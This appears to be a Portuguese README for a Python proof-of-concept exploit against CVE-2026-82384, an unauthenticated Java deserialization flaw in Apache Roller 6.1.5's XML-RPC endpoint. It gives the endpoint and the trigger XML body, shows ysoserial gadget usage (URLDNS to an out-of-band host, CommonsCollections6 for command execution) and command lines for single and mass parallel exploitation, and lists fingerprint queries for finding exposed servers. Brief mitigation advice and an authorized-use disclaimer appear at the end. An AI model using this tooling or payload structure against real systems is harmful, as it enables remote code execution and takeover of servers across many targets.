
PoC em Python para CVE-2026-82384: deteta e explora desserialização Java não autenticada via XML-RPC no Apache Roller 6.1.5 através de payloads ysoserial, com varrimento em massa.
PoC em Python 3 para CVE-2026-82384 — desserialização Java não autenticada no servlet legado XML-RPC do Apache Roller 6.1.5.
Página do PoC: https://pocbit.org/pocs/cve-2026-82384
O Apache Roller é um servidor de blogs multiusuário baseado em Java (historicamente "Roller Weblogger"). As implantações costumam ser WARs em Tomcat com uma interface em /roller-ui/ e APIs legadas Blogger / MetaWeblog sobre XML-RPC em /roller-services/xmlrpc. O Roller 6.1.5 (setembro de 2025) corrigiu um problema de sessão não relacionado (CVE-2025-24859), mas deixou a pilha XML-RPC em uma configuração perigosa para esta CVE.
CVE-2026-82384 é desserialização de dados não confiáveis (CWE-502) no endpoint XML-RPC:
XmlRpcServlet do Roller está configurado com enabledForExtensions=true, então a biblioteca Apache ws-xmlrpc aceita tipos de extensão de fornecedor, incluindo ex:serializable — um objeto Java serializado codificado em base64.web.xml, então o parser ainda é executado mesmo quando os administradores desativam o XML-RPC nas configurações do Roller (webservices.enableXmlRpc=false). Desativar o recurso na interface não fecha esse caminho pré-autenticação no 6.1.5.Afetado: apenas Apache Roller 6.1.5 (conforme o aviso do fornecedor).
Corrigido: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, e requisições rejeitadas quando o XML-RPC está desativado globalmente.
| Métrica | Valor |
|---|---|
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma para a primitiva de desserialização |
| Descobridor | n0mi1k |
| Fornecedor | Apache Software Foundation |
| Item | Detalhe |
|---|---|
| Endpoint | POST /roller-services/xmlrpc (tente também /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| Gatilho | <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> dentro de um methodCall |
| Cadeia de gadgets | Depende do classpath (Commons Collections, etc.); frequentemente gerada com ysoserial |
| Impacto | RCE como o usuário de SO do Tomcat/Roller; tipicamente controle total dos dados do blog e pivô no host |
| Modo | Comportamento |
|---|---|
check | Encontra impressões digitais do Roller, localiza a URL XML-RPC, --probe-deser opcional (envia bytes de sondagem ex:serializable) |
exploit | Envia seu payload serializado (arquivo, base64 ou ysoserial via --ysoserial-jar) |
| Mass | --list targets.txt --mode exploit -j N — execução em massa paralela com JSONL + exploited.txt |
Campos PoCbit: pocbit, pocbit_catalog, pocbit_page em cada linha JSONL.
CLI: banner colorido, linhas [HIT] / [EXPLOIT] / [FAIL] (desative com --no-color).
Este repositório não inclui cadeias de gadgets RCE ativas (dependentes do classpath). Para exploração real, forneça a saída do ysoserial ou um arquivo de payload verificado.
pip install -r requirements.txt
Para RCE (não apenas deteção):
URLDNS (prova out-of-band), CommonsCollections6 (execução de comandos no classpath típico do Roller — verificar primeiro no laboratório)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
Saídas:
cve_2026_82384_exploit.jsonl — JSON por alvoexploited.txt — alvos onde o payload foi aceito / OOB enviado<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
Em 6.1.5, a análise desse corpo pode desserializar antes que qualquer manipulador de método imponha credenciais.
/roller-services/xmlrpc no proxy reverso / WAF (permita apenas IPs de administração na allowlist).Apache Roller, /roller-ui/, porta 8080/8443.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
Confirme a versão 6.1.5 no rodapé, na página "about" ou em WEB-INF / notas de versão antes de tratá-la como explorável.
Use apenas em sistemas que você está autorizado a testar. Exploits de desserialização podem destruir dados e violar a lei se usados indevidamente.